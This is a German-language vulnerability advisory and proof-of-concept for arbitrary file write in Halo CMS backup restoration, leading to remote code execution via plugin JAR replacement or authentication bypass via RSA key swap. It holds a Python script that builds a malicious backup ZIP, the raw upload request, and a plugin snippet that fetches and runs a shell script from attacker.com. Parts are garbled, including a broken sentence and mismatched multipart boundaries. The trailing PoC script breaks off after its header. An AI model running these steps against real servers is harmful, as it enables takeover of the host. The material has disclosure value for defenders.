
Proof-of-Concept-Exploit für eine Schwachstelle mit beliebigem Dateischreiben bei der Backup-Wiederherstellung von Halo CMS, die RCE über den Austausch von Plugin-JARs oder die Umgehung der Authentifizierung ermöglicht.
Eine kritische Schwachstelle für beliebiges Schreiben von Dateien existiert in der Backup-Wiederherstellungsfunktion von Halo CMS bis Version 2.25.4. Die Methode restoreWorkdir() in MigrationServiceImpl.java kopiert das Verzeichnis workdir/ aus einem vom Benutzer bereitgestellten Backup-Archiv direkt in das Arbeitsverzeichnis der Halo-Anwendung (~/.halo2/), ohne jegliche Validierung von Dateitypen, Schutz vor Pfad-Traversal oder Prüfung auf symbolische Links. Ein authentifizierter Angreifer mit Backup-Verwaltungsrechten kann eine bösartige Backup-ZIP-Datei erstellen, die beliebige Dateien im Verzeichnis workdir/ enthält, welche bei der Wiederherstellung in das Arbeitsverzeichnis des Servers geschrieben werden, was möglicherweise zu Remote Code Execution (RCE) durch Plugin-JAR-Austausch oder Authentifizierungsumgehung durch RSA-Schlüsselaustausch führt.
CVSS v3.1-Wert: 8.8 (Hoch)
CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73 (Externe Kontrolle von Dateinamen oder Pfaden)
Die Schwachstelle befindet sich in der Methode restoreWorkdir() von MigrationServiceImpl.java (Zeilen 230-243):
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // VERWUNDBARE ZEILE
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
Die Methode copyRecursively() (Springs FileSystemUtils) führt eine rekursive Kopie ohne Folgendes durch:
..-Sequenzen in DateinamenDie Schwachstelle wird über den Backup-Wiederherstellungs-Endpunkt ausgelöst:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
Der Wiederherstellungsprozess folgt dieser Abfolge:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → ZIP in temporäres Verzeichnis extrahieren │
│ 2. restoreExtensions() → extensions.data wiederherstellen │
│ 3. restoreWorkdir() → workdir/ nach ~/.halo2/ kopieren │
│ ↑ Beliebige Dateien werden in das Arbeitsverzeichnis geschrieben │
└─────────────────────────────────────────────────────────────┘
Eine bösartige Backup-ZIP-Datei muss Folgendes enthalten:
malicious-backup.zip
├── extensions.data # Erforderlich: Kann leer sein oder gültiges JSONL enthalten
└── workdir/ # Erforderlich: Inhalt wird nach ~/.halo2/ kopiert
├── PWNED_BY_POC.txt # Proof-of-Concept-Markierungsdatei
├── plugins/ # Plugin-JARs für RCE
│ └── evil-plugin.jar # Bösartiges Plugin
└── keys/ # RSA-Schlüssel für Authentifizierungsumgehung
├── pat_id_rsa # Bösartiger privater Schlüssel
└── pat_id_rsa.pub # Bösartiger öffentlicher Schlüssel
Die Datei extensions.data muss gültig sein, damit restoreExtensions() erfolgreich ist. Gültige Formate umfassen:
Leere Datei: (leerer Inhalt)
Leere Zeile: \n (nur Zeilenumbruch)
Gültiges JSONL: Ein ExtensionStore-Objekt pro Zeile:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
Wobei data base64-kodierter Inhalt ist.
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# Leere extensions.data (besteht die restoreExtensions-Validierung)
zf.writestr('extensions.data', '\n')
# Beliebige Datei, die nach ~/.halo2/ geschrieben wird
zf.writestr('workdir/PWNED_BY_POC.txt',
'Beliebiges Schreiben von Dateien bestätigt!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
Frontend-Backup-Verwaltungsadresse: http://ip:port/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<ZIP-Datei-Binärinhalt>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
# Auf dem Halo-Server
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
~/.halo2/ schreiben| Angriffsvektor | Zieldatei | Auswirkung | Schweregrad |
|---|---|---|---|
| Plugin-JAR-Austausch | ~/.halo2/plugins/*.jar | Remote Code Execution | Kritisch |
| RSA-Schlüsselaustausch | ~/.halo2/keys/pat_id_rsa | Authentifizierungsumgehung | Kritisch |
| Theme-Austausch | ~/.halo2/themes/* | Gespeichertes XSS | Hoch |
| Konfigurationsüberschreibung | ~/.halo2/*.yaml | Umgehung von Sicherheitskontrollen | Hoch |
Ein Angreifer kann ein legitimes Plugin-JAR durch ein bösartiges ersetzen, das Folgendes enthält:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// Beliebigen Befehl ausführen
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
Wenn das Plugin geladen wird, wird der bösartige Code mit den Rechten des Halo-Prozesses ausgeführt.
#!/usr/bin/env python3
"""
Halo CMS Backup-Restore-PoC für beliebiges Schreiben von Dateien
Schwachstelle: Backup-Restore beliebiges Schreiben von Dateien
CVSS: 8.8 (Hoch)
"""